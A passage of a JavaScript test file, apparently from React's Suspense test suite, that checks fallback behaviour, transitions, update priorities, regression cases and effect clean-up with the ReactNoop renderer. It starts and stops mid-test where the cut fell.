await advanceTimers(2999);\n        // Since the timeout is infinite (or effectively infinite),\n        // we have still not yet flushed the loading state.\n        expect(ReactNoop).toMatchRenderedOutput(<span prop=\"A\" />);\n      });\n\n      // Later we load the data.\n      await act(() => resolveText('B'));\n      assertLog(['B']);\n      expect(ReactNoop).toMatchRenderedOutput(<span prop=\"B\" />);\n\n      // Start a long (infinite) transition.\n      await act(async () => {\n        React.startTransition(() => transitionToPage('C'));\n\n        await waitForAll(['Suspend! [C]', 'Loading...']);\n\n        // Even after lots of time has passed, we have still not yet flushed the\n        // loading state.\n        Scheduler.unstable_advanceTime(100000);\n        await advanceTimers(100000);\n        expect(ReactNoop).toMatchRenderedOutput(<span prop=\"B\" />);\n      });\n    });\n  });\n\n  // @gate enableLegacyCache && enableSuspenseAvoidThisFallback\n  it('do not show placeholder when updating an avoided boundary with startTransition', async () => {\n    function App({page}) {\n      return (\n        <Suspense fallback={<Text text=\"Loading...\" />}>\n          <Text text=\"Hi!\" />\n          <Suspense\n            fallback={<Text text={'Loading ' + page + '...'} />}\n            unstable_avoidThisFallback={true}>\n            <AsyncText text={page} />\n          </Suspense>\n        </Suspense>\n      );\n    }\n\n    // Initial render.\n    ReactNoop.render(<App page=\"A\" />);\n    await waitForAll([\n      'Hi!',\n      'Suspend! [A]',\n      'Loading...',\n      // pre-warming\n      'Hi!',\n      'Suspend! [A]',\n    ]);\n    await act(() => resolveText('A'));\n    assertLog(['Hi!', 'A']);\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <span prop=\"Hi!\" />\n        <span prop=\"A\" />\n      </>,\n    );\n\n    // Start transition.\n    React.startTransition(() => ReactNoop.render(<App page=\"B\" />));\n\n    await waitForAll(['Hi!', 'Suspend! [B]', 'Loading B...']);\n\n    // Suspended\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <span prop=\"Hi!\" />\n        <span prop=\"A\" />\n      </>,\n    );\n    Scheduler.unstable_advanceTime(1800);\n    await advanceTimers(1800);\n    await waitForAll([]);\n    // We should still be suspended here because this loading state should be avoided.\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <span prop=\"Hi!\" />\n        <span prop=\"A\" />\n      </>,\n    );\n    await resolveText('B');\n    await waitForAll(['Hi!', 'B']);\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <span prop=\"Hi!\" />\n        <span prop=\"B\" />\n      </>,\n    );\n  });\n\n  // @gate enableLegacyCache && enableSuspenseAvoidThisFallback\n  it('do not show placeholder when mounting an avoided boundary with startTransition', async () => {\n    function App({page}) {\n      return (\n        <Suspense fallback={<Text text=\"Loading...\" />}>\n          <Text text=\"Hi!\" />\n          {page === 'A' ? (\n            <Text text=\"A\" />\n          ) : (\n            <Suspense\n              fallback={<Text text={'Loading ' + page + '...'} />}\n              unstable_avoidThisFallback={true}>\n              <AsyncText text={page} />\n            </Suspense>\n          )}\n        </Suspense>\n      );\n    }\n\n    // Initial render.\n    ReactNoop.render(<App page=\"A\" />);\n    await waitForAll(['Hi!', 'A']);\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <span prop=\"Hi!\" />\n        <span prop=\"A\" />\n      </>,\n    );\n\n    // Start transition.\n    React.startTransition(() => ReactNoop.render(<App page=\"B\" />));\n\n    await waitForAll(['Hi!', 'Suspend! [B]', 'Loading B...']);\n\n    // Suspended\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <span prop=\"Hi!\" />\n        <span prop=\"A\" />\n      </>,\n    );\n    Scheduler.unstable_advanceTime(1800);\n    await advanceTimers(1800);\n    await waitForAll([]);\n    // We should still be suspended here because this loading state should be avoided.\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <span prop=\"Hi!\" />\n        <span prop=\"A\" />\n      </>,\n    );\n    await resolveText('B');\n    await waitForAll(['Hi!', 'B']);\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <span prop=\"Hi!\" />\n        <span prop=\"B\" />\n      </>,\n    );\n  });\n\n  it('regression test: resets current \"debug phase\" after suspending', async () => {\n    function App() {\n      return (\n        <Suspense fallback=\"Loading...\">\n          <Foo suspend={false} />\n        </Suspense>\n      );\n    }\n\n    const thenable = {then() {}};\n\n    let foo;\n    class Foo extends React.Component {\n      state = {suspend: false};\n      render() {\n        foo = this;\n\n        if (this.state.suspend) {\n          Scheduler.log('Suspend!');\n          throw thenable;\n        }\n\n        return <Text text=\"Foo\" />;\n      }\n    }\n\n    const root = ReactNoop.createRoot();\n    await act(() => {\n      root.render(<App />);\n    });\n\n    assertLog(['Foo']);\n\n    await act(async () => {\n      foo.setState({suspend: true});\n\n      // In the regression that this covers, we would neglect to reset the\n      // current debug phase after suspending (in the catch block), so React\n      // thinks we're still inside the render phase.\n      await waitFor(['Suspend!']);\n\n      // Then when this setState happens, React would incorrectly fire a warning\n      // about updates that happen the render phase (only fired by classes).\n      foo.setState({suspend: false});\n    });\n\n    assertLog([\n      // First setState\n      'Foo',\n    ]);\n    expect(root).toMatchRenderedOutput(<span prop=\"Foo\" />);\n  });\n\n  // @gate enableLegacyCache && enableLegacyHidden\n  it('should not render hidden content while suspended on higher pri', async () => {\n    function Offscreen() {\n      Scheduler.log('Offscreen');\n      return 'Offscreen';\n    }\n    function App({showContent}) {\n      React.useLayoutEffect(() => {\n        Scheduler.log('Commit');\n      });\n      return (\n        <>\n          <LegacyHiddenDiv mode=\"hidden\">\n            <Offscreen />\n          </LegacyHiddenDiv>\n          <Suspense fallback={<Text text=\"Loading...\" />}>\n            {showContent ? <AsyncText text=\"A\" /> : null}\n          </Suspense>\n        </>\n      );\n    }\n\n    // Initial render.\n    ReactNoop.render(<App showContent={false} />);\n    await waitFor(['Commit']);\n    expect(ReactNoop).toMatchRenderedOutput(<div hidden={true} />);\n\n    // Start transition.\n    React.startTransition(() => {\n      ReactNoop.render(<App showContent={true} />);\n    });\n\n    await waitForAll(['Suspend! [A]', 'Loading...']);\n    await resolveText('A');\n    await waitFor(['A', 'Commit']);\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <div hidden={true} />\n        <span prop=\"A\" />\n      </>,\n    );\n    await waitForAll(['Offscreen']);\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <div hidden={true}>Offscreen</div>\n        <span prop=\"A\" />\n      </>,\n    );\n  });\n\n  // @gate enableLegacyCache && enableLegacyHidden\n  it('should be able to unblock higher pri content before suspended hidden', async () => {\n    function Offscreen() {\n      Scheduler.log('Offscreen');\n      return 'Offscreen';\n    }\n    function App({showContent}) {\n      React.useLayoutEffect(() => {\n        Scheduler.log('Commit');\n      });\n      return (\n        <Suspense fallback={<Text text=\"Loading...\" />}>\n          <LegacyHiddenDiv mode=\"hidden\">\n            <AsyncText text=\"A\" />\n            <Offscreen />\n          </LegacyHiddenDiv>\n          {showContent ? <AsyncText text=\"A\" /> : null}\n        </Suspense>\n      );\n    }\n\n    // Initial render.\n    ReactNoop.render(<App showContent={false} />);\n    await waitFor(['Commit']);\n    expect(ReactNoop).toMatchRenderedOutput(<div hidden={true} />);\n\n    // Partially render through the hidden content.\n    await waitFor(['Suspend! [A]']);\n\n    // Start transition.\n    React.startTransition(() => {\n      ReactNoop.render(<App showContent={true} />);\n    });\n\n    await waitForAll(['Suspend! [A]', 'Loading...']);\n    await resolveText('A');\n    await waitFor(['A', 'Commit']);\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <div hidden={true} />\n        <span prop=\"A\" />\n      </>,\n    );\n    await waitForAll(['A', 'Offscreen']);\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <div hidden={true}>\n          <span prop=\"A\" />\n          Offscreen\n        </div>\n        <span prop=\"A\" />\n      </>,\n    );\n  });\n\n  // @gate enableLegacyCache\n  it(\n    'multiple updates originating inside a Suspense boundary at different ' +\n      'priority levels are not dropped',\n    async () => {\n      const {useState} = React;\n      const root = ReactNoop.createRoot();\n\n      function Parent() {\n        return (\n          <>\n            <Suspense fallback={<Text text=\"Loading...\" />}>\n              <Child />\n            </Suspense>\n          </>\n        );\n      }\n\n      let setText;\n      function Child() {\n        const [text, _setText] = useState('A');\n        setText = _setText;\n        return <AsyncText text={text} />;\n      }\n\n      await seedNextTextCache('A');\n      await act(() => {\n        root.render(<Parent />);\n      });\n      assertLog(['A']);\n      expect(root).toMatchRenderedOutput(<span prop=\"A\" />);\n\n      await act(async () => {\n        // Schedule two updates that originate inside the Suspense boundary.\n        // The first one causes the boundary to suspend. The second one is at\n        // lower priority and unsuspends the tree.\n        ReactNoop.discreteUpdates(() => {\n          setText('B');\n        });\n        startTransition(() => {\n          setText('C');\n        });\n        // Assert that neither update has happened yet. Both the high pri and\n        // low pri updates are in the queue.\n        assertLog([]);\n\n        // Resolve this before starting to render so that C doesn't suspend.\n        await resolveText('C');\n      });\n      assertLog([\n        // First we attempt the high pri update. It suspends.\n        'Suspend! [B]',\n        'Loading...',\n        // Then we attempt the low pri update, which finishes successfully.\n        'C',\n      ]);\n      expect(root).toMatchRenderedOutput(<span prop=\"C\" />);\n    },\n  );\n\n  // @gate enableLegacyCache\n  it(\n    'fallback component can update itself even after a high pri update to ' +\n      'the primary tree suspends',\n    async () => {\n      const {useState} = React;\n      const root = ReactNoop.createRoot();\n\n      let setAppText;\n      function App() {\n        const [text, _setText] = useState('A');\n        setAppText = _setText;\n        return (\n          <>\n            <Suspense fallback={<Fallback />}>\n              <AsyncText text={text} />\n            </Suspense>\n          </>\n        );\n      }\n\n      let setFallbackText;\n      function Fallback() {\n        const [text, _setText] = useState('Loading...');\n        setFallbackText = _setText;\n        return <Text text={text} />;\n      }\n\n      // Resolve the initial tree\n      await seedNextTextCache('A');\n      await act(() => {\n        root.render(<App />);\n      });\n      assertLog(['A']);\n      expect(root).toMatchRenderedOutput(<span prop=\"A\" />);\n\n      await act(async () => {\n        // Schedule an update inside the Suspense boundary that suspends.\n        setAppText('B');\n        await waitForAll([\n          'Suspend! [B]',\n          'Loading...',\n          // pre-warming\n          'Suspend! [B]',\n        ]);\n      });\n\n      expect(root).toMatchRenderedOutput(\n        <>\n          <span hidden={true} prop=\"A\" />\n          <span prop=\"Loading...\" />\n        </>,\n      );\n\n      // Schedule a default pri update on the boundary, and a lower pri update\n      // on the fallback. We're testing to make sure the fallback can still\n      // update even though the primary tree is suspended.\n      await act(() => {\n        setAppText('C');\n        React.startTransition(() => {\n          setFallbackText('Still loading...');\n        });\n      });\n\n      assertLog([\n        // First try to render the high pri update. Still suspended.\n        'Suspend! [C]',\n        'Loading...',\n\n        // In the expiration times model, once the high pri update suspends,\n        // we can't be sure if there's additional work at a lower priority\n        // that might unblock the tree. We do know that there's a lower\n        // priority update *somewhere* in the entire root, though (the update\n        // to the fallback). So we try rendering one more time, just in case.\n        // TODO: We shouldn't need to do this with lanes, because we always\n        // know exactly which lanes have pending work in each tree.\n        'Suspend! [C]',\n\n        // Then complete the update to the fallback.\n        'Still loading...',\n        'Suspend! [C]',\n      ]);\n      expect(root).toMatchRenderedOutput(\n        <>\n          <span hidden={true} prop=\"A\" />\n          <span prop=\"Still loading...\" />\n        </>,\n      );\n    },\n  );\n\n  // @gate enableLegacyCache\n  it(\n    'regression: primary fragment fiber is not always part of setState ' +\n      'return path',\n    async () => {\n      // Reproduces a bug where updates inside a suspended tree are dropped\n      // because the fragment fiber we insert to wrap the hidden children is not\n      // part of the return path, so it doesn't get marked during setState.\n      const {useState} = React;\n      const root = ReactNoop.createRoot();\n\n      function Parent() {\n        return (\n          <>\n            <Suspense fallback={<Text text=\"Loading...\" />}>\n              <Child />\n            </Suspense>\n          </>\n        );\n      }\n\n      let setText;\n      function Child() {\n        const [text, _setText] = useState('A');\n        setText = _setText;\n        return <AsyncText text={text} />;\n      }\n\n      // Mount an initial tree. Resolve A so that it doesn't suspend.\n      await seedNextTextCache('A');\n      await act(() => {\n        root.render(<Parent />);\n      });\n      assertLog(['A']);\n      // At this point, the setState return path follows current fiber.\n      expect(root).toMatchRenderedOutput(<span prop=\"A\" />);\n\n      // Schedule another update. This will \"flip\" the alternate pairs.\n      await resolveText('B');\n      await act(() => {\n        setText('B');\n      });\n      assertLog(['B']);\n      // Now the setState return path follows the *alternate* fiber.\n      expect(root).toMatchRenderedOutput(<span prop=\"B\" />);\n\n      // Schedule another update. This time, we'll suspend.\n      await act(() => {\n        setText('C');\n      });\n      assertLog(['Suspend! [C]', 'Loading...', 'Suspend! [C]']);\n\n      // Commit. This will insert a fragment fiber to wrap around the component\n      // that triggered the update.\n      await act(async () => {\n        await advanceTimers(250);\n      });\n      // The fragment fiber is part of the current tree, but the setState return\n      // path still follows the alternate path. That means the fragment fiber is\n      // not part of the return path.\n      expect(root).toMatchRenderedOutput(\n        <>\n          <span hidden={true} prop=\"B\" />\n          <span prop=\"Loading...\" />\n        </>,\n      );\n\n      // Update again. This should unsuspend the tree.\n      await resolveText('D');\n      await act(() => {\n        setText('D');\n      });\n      // Even though the fragment fiber is not part of the return path, we should\n      // be able to finish rendering.\n      assertLog(['D']);\n      expect(root).toMatchRenderedOutput(<span prop=\"D\" />);\n    },\n  );\n\n  // @gate enableLegacyCache\n  it(\n    'regression: primary fragment fiber is not always part of setState ' +\n      'return path (another case)',\n    async () => {\n      // Reproduces a bug where updates inside a suspended tree are dropped\n      // because the fragment fiber we insert to wrap the hidden children is not\n      // part of the return path, so it doesn't get marked during setState.\n      const {useState} = React;\n      const root = ReactNoop.createRoot();\n\n      function Parent() {\n        return (\n          <Suspense fallback={<Text text=\"Loading...\" />}>\n            <Child />\n          </Suspense>\n        );\n      }\n\n      let setText;\n      function Child() {\n        const [text, _setText] = useState('A');\n        setText = _setText;\n        return <AsyncText text={text} />;\n      }\n\n      // Mount an initial tree. Resolve A so that it doesn't suspend.\n      await seedNextTextCache('A');\n      await act(() => {\n        root.render(<Parent />);\n      });\n      assertLog(['A']);\n      // At this point, the setState return path follows current fiber.\n      expect(root).toMatchRenderedOutput(<span prop=\"A\" />);\n\n      // Schedule another update. This will \"flip\" the alternate pairs.\n      await resolveText('B');\n      await act(() => {\n        setText('B');\n      });\n      assertLog(['B']);\n      // Now the setState return path follows the *alternate* fiber.\n      expect(root).toMatchRenderedOutput(<span prop=\"B\" />);\n\n      // Schedule another update. This time, we'll suspend.\n      await act(() => {\n        setText('C');\n      });\n      assertLog([\n        'Suspend! [C]',\n        'Loading...',\n        // pre-warming\n        'Suspend! [C]',\n      ]);\n\n      // Commit. This will insert a fragment fiber to wrap around the component\n      // that triggered the update.\n      await act(async () => {\n        await advanceTimers(250);\n      });\n      // The fragment fiber is part of the current tree, but the setState return\n      // path still follows the alternate path. That means the fragment fiber is\n      // not part of the return path.\n      expect(root).toMatchRenderedOutput(\n        <>\n          <span hidden={true} prop=\"B\" />\n          <span prop=\"Loading...\" />\n        </>,\n      );\n\n      await act(async () => {\n        // Schedule a normal pri update. This will suspend again.\n        setText('D');\n\n        // And another update at lower priority. This will unblock.\n        await resolveText('E');\n        ReactNoop.idleUpdates(() => {\n          setText('E');\n        });\n      });\n      // Even though the fragment fiber is not part of the return path, we should\n      // be able to finish rendering.\n      assertLog([\n        'Suspend! [D]',\n        // pre-warming\n        'Suspend! [D]',\n        // end pre-warming\n        'E',\n      ]);\n      expect(root).toMatchRenderedOutput(<span prop=\"E\" />);\n    },\n  );\n\n  // @gate enableLegacyCache\n  it(\n    'after showing fallback, should not flip back to primary content until ' +\n      'the update that suspended finishes',\n    async () => {\n      const {useState, useEffect} = React;\n      const root = ReactNoop.createRoot();\n\n      let setOuterText;\n      function Parent({step}) {\n        const [text, _setText] = useState('A');\n        setOuterText = _setText;\n        return (\n          <>\n            <Text text={'Outer text: ' + text} />\n            <Text text={'Outer step: ' + step} />\n            <Suspense fallback={<Text text=\"Loading...\" />}>\n              <Child step={step} outerText={text} />\n            </Suspense>\n          </>\n        );\n      }\n\n      let setInnerText;\n      function Child({step, outerText}) {\n        const [text, _setText] = useState('A');\n        setInnerText = _setText;\n\n        // This will log if the component commits in an inconsistent state\n        useEffect(() => {\n          if (text === outerText) {\n            Scheduler.log('Commit Child');\n          } else {\n            Scheduler.log('FIXME: Texts are inconsistent (tearing)');\n          }\n        }, [text, outerText]);\n\n        return (\n          <>\n            <AsyncText text={'Inner text: ' + text} />\n            <Text text={'Inner step: ' + step} />\n          </>\n        );\n      }\n\n      // These always update simultaneously. They must be consistent.\n      function setText(text) {\n        setOuterText(text);\n        setInnerText(text);\n      }\n\n      // Mount an initial tree. Resolve A so that it doesn't suspend.\n      await seedNextTextCache('Inner text: A');\n      await act(() => {\n        root.render(<Parent step={0} />);\n      });\n      assertLog([\n        'Outer text: A',\n        'Outer step: 0',\n        'Inner text: A',\n        'Inner step: 0',\n        'Commit Child',\n      ]);\n      expect(root).toMatchRenderedOutput(\n        <>\n          <span prop=\"Outer text: A\" />\n          <span prop=\"Outer step: 0\" />\n          <span prop=\"Inner text: A\" />\n          <span prop=\"Inner step: 0\" />\n        </>,\n      );\n\n      // Update. This causes the inner component to suspend.\n      await act(() => {\n        setText('B');\n      });\n      assertLog([\n        'Outer text: B',\n        'Outer step: 0',\n        'Suspend! [Inner text: B]',\n        'Loading...',\n        // pre-warming\n        'Suspend! [Inner text: B]',\n        'Inner step: 0',\n      ]);\n      // Commit the placeholder\n      await advanceTimers(250);\n      expect(root).toMatchRenderedOutput(\n        <>\n          <span prop=\"Outer text: B\" />\n          <span prop=\"Outer step: 0\" />\n          <span hidden={true} prop=\"Inner text: A\" />\n          <span hidden={true} prop=\"Inner step: 0\" />\n          <span prop=\"Loading...\" />\n        </>,\n      );\n\n      // Schedule a high pri update on the parent.\n      await act(() => {\n        ReactNoop.discreteUpdates(() => {\n          root.render(<Parent step={1} />);\n        });\n      });\n\n      // Only the outer part can update. The inner part should still show a\n      // fallback because we haven't finished loading B yet. Otherwise, the\n      // inner text would be inconsistent with the outer text.\n      assertLog([\n        'Outer text: B',\n        'Outer step: 1',\n        'Suspend! [Inner text: B]',\n        'Loading...',\n        // pre-warming\n        'Suspend! [Inner text: B]',\n        'Inner step: 1',\n      ]);\n      expect(root).toMatchRenderedOutput(\n        <>\n          <span prop=\"Outer text: B\" />\n          <span prop=\"Outer step: 1\" />\n          <span hidden={true} prop=\"Inner text: A\" />\n          <span hidden={true} prop=\"Inner step: 0\" />\n          <span prop=\"Loading...\" />\n        </>,\n      );\n\n      // Now finish resolving the inner text\n      await act(async () => {\n        await resolveText('Inner text: B');\n      });\n      assertLog(['Inner text: B', 'Inner step: 1', 'Commit Child']);\n      expect(root).toMatchRenderedOutput(\n        <>\n          <span prop=\"Outer text: B\" />\n          <span prop=\"Outer step: 1\" />\n          <span prop=\"Inner text: B\" />\n          <span prop=\"Inner step: 1\" />\n        </>,\n      );\n    },\n  );\n\n  // @gate enableLegacyCache\n  it('a high pri update can unhide a boundary that suspended at a different level', async () => {\n    const {useState, useEffect} = React;\n    const root = ReactNoop.createRoot();\n\n    let setOuterText;\n    function Parent({step}) {\n      const [text, _setText] = useState('A');\n      setOuterText = _setText;\n      return (\n        <>\n          <Text text={'Outer: ' + text + step} />\n          <Suspense fallback={<Text text=\"Loading...\" />}>\n            <Child step={step} outerText={text} />\n          </Suspense>\n        </>\n      );\n    }\n\n    let setInnerText;\n    function Child({step, outerText}) {\n      const [text, _setText] = useState('A');\n      setInnerText = _setText;\n\n      // This will log if the component commits in an inconsistent state\n      useEffect(() => {\n        if (text === outerText) {\n          Scheduler.log('Commit Child');\n        } else {\n          Scheduler.log('FIXME: Texts are inconsistent (tearing)');\n        }\n      }, [text, outerText]);\n\n      return (\n        <>\n          <AsyncText text={'Inner: ' + text + step} />\n        </>\n      );\n    }\n\n    // These always update simultaneously. They must be consistent.\n    function setText(text) {\n      setOuterText(text);\n      setInnerText(text);\n    }\n\n    // Mount an initial tree. Resolve A so that it doesn't suspend.\n    await seedNextTextCache('Inner: A0');\n    await act(() => {\n      root.render(<Parent step={0} />);\n    });\n    assertLog(['Outer: A0', 'Inner: A0', 'Commit Child']);\n    expect(root).toMatchRenderedOutput(\n      <>\n        <span prop=\"Outer: A0\" />\n        <span prop=\"Inner: A0\" />\n      </>,\n    );\n\n    // Update. This causes the inner component to suspend.\n    await act(() => {\n      setText('B');\n    });\n    assertLog([\n      'Outer: B0',\n      'Suspend! [Inner: B0]',\n      'Loading...',\n      // pre-warming\n      'Suspend! [Inner: B0]',\n    ]);\n    // Commit the placeholder\n    await advanceTimers(250);\n    expect(root).toMatchRenderedOutput(\n      <>\n        <span prop=\"Outer: B0\" />\n        <span hidden={true} prop=\"Inner: A0\" />\n        <span prop=\"Loading...\" />\n      </>,\n    );\n\n    // Schedule a high pri update on the parent. This will unblock the content.\n    await resolveText('Inner: B1');\n    await act(() => {\n      ReactNoop.discreteUpdates(() => {\n        root.render(<Parent step={1} />);\n      });\n    });\n\n    assertLog(['Outer: B1', 'Inner: B1', 'Commit Child']);\n    expect(root).toMatchRenderedOutput(\n      <>\n        <span prop=\"Outer: B1\" />\n        <span prop=\"Inner: B1\" />\n      </>,\n    );\n  });\n\n  // @gate enableLegacyCache\n  it('regression: ping at high priority causes update to be dropped', async () => {\n    const {useState, useTransition} = React;\n\n    let setTextA;\n    function A() {\n      const [textA, _setTextA] = useState('A');\n      setTextA = _setTextA;\n      return (\n        <Suspense fallback={<Text text=\"Loading...\" />}>\n          <AsyncText text={textA} />\n        </Suspense>\n      );\n    }\n\n    let setTextB;\n    let startTransitionFromB;\n    function B() {\n      const [textB, _setTextB] = useState('B');\n      // eslint-disable-next-line no-unused-vars\n      const [_, _startTransition] = useTransition();\n      startTransitionFromB = _startTransition;\n      setTextB = _setTextB;\n      return (\n        <Suspense fallback={<Text text=\"Loading...\" />}>\n          <AsyncText text={textB} />\n        </Suspense>\n      );\n    }\n\n    function App() {\n      return (\n        <>\n          <A />\n          <B />\n        </>\n      );\n    }\n\n    const root = ReactNoop.createRoot();\n    await act(async () => {\n      await seedNextTextCache('A');\n      await seedNextTextCache('B');\n      root.render(<App />);\n    });\n    assertLog(['A', 'B']);\n    expect(root).toMatchRenderedOutput(\n      <>\n        <span prop=\"A\" />\n        <span prop=\"B\" />\n      </>,\n    );\n\n    await act(async () => {\n      // Triggers suspense at normal pri\n      setTextA('A1');\n      // Triggers in an unrelated tree at a different pri\n      startTransitionFromB(() => {\n        // Update A again so that it doesn't suspend on A1. That way we can ping\n        // the A1 update without also pinging this one. This is a workaround\n        // because there's currently no way to render at a lower priority (B2)\n        // without including all updates at higher priority (A1).\n        setTextA('A2');\n        setTextB('B2');\n      });\n\n      await waitFor([\n        'Suspend! [A1]',\n        'Loading...',\n        'B',\n        'Suspend! [A2]',\n        'Loading...',\n        'Suspend! [B2]',\n        'Loading...',\n      ]);\n      expect(root).toMatchRenderedOutput(\n        <>\n          <span hidden={true} prop=\"A\" />\n          <span prop=\"Loading...\" />\n          <span prop=\"B\" />\n        </>,\n      );\n\n      await resolveText('A1');\n      await waitFor(['A1']);\n    });\n    assertLog(['Suspend! [A2]', 'Loading...', 'Suspend! [B2]', 'Loading...']);\n    expect(root).toMatchRenderedOutput(\n      <>\n        <span prop=\"A1\" />\n        <span prop=\"B\" />\n      </>,\n    );\n\n    await act(async () => {\n      await resolveText('A2');\n      await resolveText('B2');\n    });\n    assertLog(['A2', 'B2']);\n    expect(root).toMatchRenderedOutput(\n      <>\n        <span prop=\"A2\" />\n        <span prop=\"B2\" />\n      </>,\n    );\n  });\n\n  // Regression: https://github.com/facebook/react/issues/18486\n  // @gate enableLegacyCache\n  it('does not get stuck in pending state with render phase updates', async () => {\n    let setTextWithShortTransition;\n    let setTextWithLongTransition;\n\n    function App() {\n      const [isPending1, startShortTransition] = React.useTransition();\n      const [isPending2, startLongTransition] = React.useTransition();\n      const isPending = isPending1 || isPending2;\n      const [text, setText] = React.useState('');\n      const [mirror, setMirror] = React.useState('');\n\n      if (text !== mirror) {\n        // Render phase update was needed to repro the bug.\n        setMirror(text);\n      }\n\n      setTextWithShortTransition = value => {\n        startShortTransition(() => {\n          setText(value);\n        });\n      };\n      setTextWithLongTransition = value => {\n        startLongTransition(() => {\n          setText(value);\n        });\n      };\n\n      return (\n        <>\n          {isPending ? <Text text=\"Pending...\" /> : null}\n          {text !== '' ? <AsyncText text={text} /> : <Text text={text} />}\n        </>\n      );\n    }\n\n    function Root() {\n      return (\n        <Suspense fallback={<Text text=\"Loading...\" />}>\n          <App />\n        </Suspense>\n      );\n    }\n\n    const root = ReactNoop.createRoot();\n    await act(() => {\n      root.render(<Root />);\n    });\n    assertLog(['']);\n    expect(root).toMatchRenderedOutput(<span prop=\"\" />);\n\n    // Update to \"a\". That will suspend.\n    await act(async () => {\n      setTextWithShortTransition('a');\n      await waitForAll(['Pending...', '', 'Suspend! [a]', 'Loading...']);\n    });\n    assertLog([]);\n    expect(root).toMatchRenderedOutput(\n      <>\n        <span prop=\"Pending...\" />\n        <span prop=\"\" />\n      </>,\n    );\n\n    // Update to \"b\". That will suspend, too.\n    await act(async () => {\n      setTextWithLongTransition('b');\n      await waitForAll([\n        // Neither is resolved yet.\n        'Pending...',\n        '',\n        'Suspend! [b]',\n        'Loading...',\n      ]);\n    });\n    assertLog([]);\n    expect(root).toMatchRenderedOutput(\n      <>\n        <span prop=\"Pending...\" />\n        <span prop=\"\" />\n      </>,\n    );\n\n    // Resolve \"a\". But \"b\" is still pending.\n    await act(async () => {\n      await resolveText('a');\n\n      await waitForAll(['Suspend! [b]', 'Loading...']);\n      expect(root).toMatchRenderedOutput(\n        <>\n          <span prop=\"Pending...\" />\n          <span prop=\"\" />\n        </>,\n      );\n\n      // Resolve \"b\". This should remove the pending state.\n      await act(async () => {\n        await resolveText('b');\n      });\n      assertLog(['b']);\n      // The bug was that the pending state got stuck forever.\n      expect(root).toMatchRenderedOutput(<span prop=\"b\" />);\n    });\n  });\n\n  // @gate enableLegacyCache\n  it('retries have lower priority than normal updates', async () => {\n    const {useState} = React;\n\n    let setText;\n    function UpdatingText() {\n      const [text, _setText] = useState('A');\n      setText = _setText;\n      return <Text text={text} />;\n    }\n\n    const root = ReactNoop.createRoot();\n    await act(() => {\n      root.render(\n        <>\n          <UpdatingText />\n          <Suspense fallback={<Text text=\"Loading...\" />}>\n            <AsyncText text=\"Async\" />\n          </Suspense>\n        </>,\n      );\n    });\n    assertLog([\n      'A',\n      'Suspend! [Async]',\n      'Loading...',\n      // pre-warming\n      'Suspend! [Async]',\n    ]);\n    expect(root).toMatchRenderedOutput(\n      <>\n        <span prop=\"A\" />\n        <span prop=\"Loading...\" />\n      </>,\n    );\n\n    await act(async () => {\n      // Resolve the promise. This will trigger a retry.\n      await resolveText('Async');\n      // Before the retry happens, schedule a new update.\n      setText('B');\n\n      // The update should be allowed to finish before the retry is attempted.\n      await waitForPaint(['B']);\n      expect(root).toMatchRenderedOutput(\n        <>\n          <span prop=\"B\" />\n          <span prop=\"Loading...\" />\n        </>,\n      );\n    });\n    // Then do the retry.\n    assertLog(['Async']);\n    expect(root).toMatchRenderedOutput(\n      <>\n        <span prop=\"B\" />\n        <span prop=\"Async\" />\n      </>,\n    );\n  });\n\n  // @gate enableLegacyCache\n  it('should fire effect clean-up when deleting suspended tree', async () => {\n    const {useEffect} = React;\n\n    function App({show}) {\n      return (\n        <Suspense fallback={<Text text=\"Loading...\" />}>\n          <Child />\n          {show && <AsyncText text=\"Async\" />}\n        </Suspense>\n      );\n    }\n\n    function Child() {\n      useEffect(() => {\n        Scheduler.log('Mount Child');\n        return () => {\n          Scheduler.log('Unmount Child');\n        };\n      }, []);\n      return <span prop=\"Child\" />;\n    }\n\n    const root = ReactNoop.createRoot();\n\n    await act(() => {\n      root.render(<App show={false} />);\n    });\n    assertLog(['Mount Child']);\n    expect(root).toMatchRenderedOutput(<span prop=\"Child\" />);\n\n    await act(() => {\n      root.render(<App show={true} />);\n    });\n    assertLog([\n      'Suspend! [Async]',\n      'Loading...',\n      // pre-warming\n      'Suspend! [Async]',\n    ]);\n    expect(root).toMatchRenderedOutput(\n      <>\n        <span hidden={true} prop=\"Child\" />\n        <span prop=\"Loading...\" />\n      </>,\n    );\n\n    await act(() => {\n      root.render(null);\n    });\n    assertLog(['Unmount Child']);\n  });\n\n  // @gate enableLegacyCache && !disableLegacyMode\n  it('should fire effect clean-up when deleting suspended tree (legacy)', async () => {\n    const {useEffect} = React;\n\n    function App({show}) {\n      return (\n        <Suspense fallback={<Text text=\"Loading...\" />}>\n          <Child />\n          {show && <AsyncText text=\"Async\" />}\n        </Suspense>\n      );\n    }\n\n    function Child() {\n      useEffect(() => {\n        Scheduler.log('Mount Child');\n        return () => {\n          Scheduler.log('Unmount Child');\n        };\n      }, []);\n      return <span prop=\"Child\" />;\n    }\n\n    const root = ReactNoop.createLegacyRoot();\n\n    await act(() => {\n      root.render(<App show={false} />);\n    });\n    assertLog(['Mount Child']);\n    expect(root).toMatchRenderedOutput(<span prop=\"Child\" />);\n\n    await act(() => {\n      root.render(<App show={true} />);\n    });\n    assertLog(['Suspend! [Async]', 'Loading...']);\n    expect(root).toMatchRenderedOutput(\n      <>\n        <span hidden={true} prop=\"Child\" />\n        <span prop=\"Loading...\" />\n      </>,\n    );\n\n    await act(() => {\n      root.render(null);\n    });\n    assertLog(['Unmount Child']);\n  });\n\n  // @gate enableLegacyCache\n  it(\n    'regression test: pinging synchronously within the render phase ' +\n      'does not unwind the stack',\n    async () => {\n      // This is a regression test that reproduces a very specific scenario that\n      // used to cause a crash.\n      const thenable = {\n        then(resolve) {\n          resolve('B');\n        },\n        status: 'pending',\n      };\n\n      function ImmediatelyPings() {\n        if (thenable.status === 'pending') {\n          thenable.status = 'fulfilled';\n          throw thenable;\n        }\n        return <Text text=\"B\" 